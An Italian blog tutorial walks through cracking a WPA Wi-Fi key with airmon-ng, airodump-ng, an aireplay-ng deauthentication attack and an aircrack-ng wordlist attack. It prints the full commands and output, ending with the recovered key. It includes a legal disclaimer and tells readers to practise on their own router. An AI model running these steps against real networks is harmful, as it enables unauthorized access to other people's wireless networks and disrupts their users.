Questo articolo è per scopi didattici, farlo su reti su cui non si hanno autorizzazioni è illegale (articolo 615-ter del codice penale italiano).
Come per lo scorso articolo, utilizzerò il software Aircrack-ng. Esso, insieme ad aireplay e airodump, permette di sniffare e craccare una rete wireless WPA utilizzando una lista di parole (quindi non sarà una cosa certa come per il WEP).
WPA sta a significare Wi-Fi Protected Access ed è un miglioramento dell’ormai defunto WEP. Per l’autenticazione prevede due possibili modalità:
WPA utilizza come protocollo crittografico TKIP, che a sua volta utilizza RC4, che è lo stesso del WEP, ma con chiavi a 128 bit e un IV a 48 bit.
Per prima cosa digito:
ifconfig
per capire quale interfaccia è libera da poter modificare e iniziare il monitoraggio della rete.
root@kali:~# ifconfig
eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 00:[..]:2a txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1 (Local Loopback)
RX packets 24 bytes 1440 (1.4 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 24 bytes 1440 (1.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 00:[..]:0e txqueuelen 1000 (Ethernet)
RX packets 5945 bytes 4767533 (4.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4937 bytes 914927 (893.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Scelgo wlan0 e inizio la modalità monitor:
airmon-ng start wlan0
Airmon-ng è uno script in Posix scritto apposta per trasformare la modalità della scheda di rete in monitor mode.
Se il programma da errore (dicendo che è occupata da qualche processo), basta digitare:
airmon-ng check kill
e ripetere il comando di prima. Il risultato, digitando ancora ifconfig, sarà:
wlan0mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec 00:[..]:0E txqueuelen 1000 (UNSPEC)
RX packets 927 bytes 107988 (105.4 KiB)
RX errors 0 dropped 927 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Come vedere wlan0 non esiste più ed è stata sostituita da wlan0mon.
Inizio a catturare i dati che passano per la rete designata:
root@kali:~# airodump-ng --write capture wlan0mon
CH 6 ][ Elapsed: 8 mins ][ 2016-04-16 11:16 ][ WPA handshake: E8:[..]:F9
BSSID PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID
A4:[..]:A6 -1 0 1 0 6 WPA <length:0>
E8:[..]:F9 -66 1031 2922 2 6 WPA CCMP PSK TP-LINK_2.4GHz
00:[..]:E8 -83 503 1 0 1 WPA2 TKIP PSK Alice-47197323
00:[..]:00 -45 0 470 0 6 OPN <length:0>
BSSID STATION PWR Lost Frame Probe
A4:[..]:A6 A4:[..]:35 -89 0 9
E8:[..]:F9 88:[..]:94 -39 112 1946 TP-LINK_2.4GHz
E8:[..]:F9 F0:[..]:00 -43 0 1528 TP-LINK_2.4GHz
Airodump è un tool creato appositamente per catturare pacchetti e passarli poi ad Aircrack. Le opzioni che ho inserito sono:
Mentre Airodump lavora, apro un nuovo terminale e digito
root@kali:~# aireplay-ng --deauth 11 -a E8:[..]:F9 wlan0mon
11:16:14 Waiting for beacon frame (BSSID: E8:[..]:F9) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
11:16:15 Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
11:16:15 Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
11:16:20 Sending DeAuth to broadcast -- BSSID: [E8:[..]:F9]
Aireplay invia i pacchetti nella rete wireless per generate traffico e cerca di autenticarsi al target, i comandi passati sono:
L’ultima fase serve per trovare la password che è contenuta nel file che abbiamo ottenuto, e lo facciamo con aircrack.
Un’ottima fonte per la lista di parole si trova qui.
root@kali:~# aircrack-ng -a 2 -w Documents/psw/wordlists-user-passwd/otherpass.txt capture-01.cap
Opening capture-01.cap
Read 12369 packets.
# BSSID ESSID Encryption
1 00:[..]:E8 Alice-47197323 WPA (0 handshake)
2 E8:[..]:F9 TP-LINK_2.4GHz WPA (1 handshake)
3 00:[..]:00 WPA (0 handshake)
4 A4:[..]:A6 WPA (0 handshake)
Index number of target network ? 2
Opening capture-01.cap
Reading packets, please wait...
Aircrack-ng 1.2 rc4
[00:02:28] 158292/1997916 keys tested (868.90 k/s)
Time left: 35 minutes, 19 seconds 7.92%
KEY FOUND! [ 123ABC45 ]
Master Key : FE 62 2B D4 70 7E 0E 78 42 26 BB 1B 93 BC 4D 87
83 F7 6F E4 A6 6B F5 F4 98 1A 5C A4 FB 1B 4B 74
Transient Key : DF 39 8D F2 31 F6 DB 55 B6 FC A1 6D 75 8A 4B 94
A3 18 15 C2 C9 E1 2D 66 C3 12 24 79 53 44 57 DA
8F 1E BB 2D 07 D9 12 0B 28 77 CA FB EF 50 55 BA
E5 A4 E4 12 13 49 48 EB D2 EA 20 86 93 4D A4 FD
EAPOL HMAC : 9E C2 73 F6 DF 37 F1 E8 CC 8C 7E 92 4B 25 F8 D3
Ed ecco che ha trovato la chiave, e per rilevarla ci ha messo circa 15 minuti (ha scansionato il file delle password che gli ho passato, dipende da quante parole avete). Ricorco che se non viene rilevato nessun handshake sarà impossibile trovare una chiave. Fare questo tipo di esercizio è davvero banale, basta che impostate il vostro modem con sicurezza WPA, inserite una password scelta da voi (nel mio caso ho inserito 123ABC45) e connettete un dispositivo qualsiasi. Con un altro computer seguite i passaggi (o Virtual Machine) e provate a capire ogni fase, magari tentando altre vie o metodi e studiando i tool introdotti a fondo (ricordatevi poi di reimpostare la sicurezza WPA2!).
Il titolo di questo mi sembra molto banale e clickbait, ma non mi è venuto in mente altro. Se avete idee per migliorarlo sarò lieto di farlo.